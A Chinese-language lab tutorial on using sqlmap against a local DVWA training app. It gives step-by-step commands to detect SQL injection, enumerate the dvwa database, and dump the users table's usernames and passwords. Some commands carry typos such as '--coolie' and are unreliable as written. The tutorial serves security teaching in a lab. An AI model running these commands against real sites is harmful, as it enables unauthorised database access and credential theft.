7.12、SQLmap—自动化渗透测试工具（kali linux）

目录

一、准备工作

二、检测漏洞

第一步：获取待检测的url

第二步：获取cookie

第三步：生成命令行

三、获取数据库名

四、获取指定数据库表

五、获取指定数据库列/表项

六、获取数据

---

        sglmap是一个开源的渗透测试工具，可以用来进行自动化检测，利用SQL注入漏洞，获取数据库服务器的权限。

一、准备工作

       1）kali操作系统自带sqlmap，可以直接输入sqlmap执行。

        2）启动apache2和mysql服务

        service apache2 start        # 启动apache2
        service mysql start            # 启动mysql

        3）打开DVWA靶场，将防御等级设置为low

二、检测漏洞

        命令行：sqlmap -u "要检查的网址"  --cookie ="网站登录后，后端返回的cookie值"  

        cookie：登录凭证

第一步：获取待检测的url

        http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

第二步：获取cookie

        回到DVWA按：F12  # 进入开发者模式

        security=low; PHPSESSID=jgf2conucodsct8sjjiduom5m2

第三步：生成命令行

        该命令行输入到虚拟机的命令框中务必自己输入，不要复制粘贴！！！

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --coolie="security=low; PHPSESSID=jgf2conucodsct8sjjiduom5m2"

三、获取数据库名

        在第一步检测的的命令后面加上：--dbs     

        dbs:database server获取所有数据库名

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=jgf2conucodsct8sjjiduom5m2" --dbs

四、获取指定数据库表

        在第一步检测的的命令后面加上：-D 数据库名称 --tables         

        -D（Database）指定想要获取的数据库名

        --tables 枚举（遍历）DBMS数据库中的表

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=jgf2conucodsct8sjjiduom5m2" -D dvwa --tables  

五、获取指定数据库列/表项

        在第一步检测的的命令后面加上：-D 数据库名 -T 数据库的表名 --columns  

        --columns 列出表项/例

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=jgf2conucodsct8sjjiduom5m2" -D dvwa -T users --columns 

六、获取数据

        把第五步命令后面的--columns换成：--dump  # 读取数据

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=jgf2conucodsct8sjjiduom5m2" -D dvwa -T users --dump

很慢~，等待中ing

爆破到dvwa数据库中user表的用户名及密码，结束！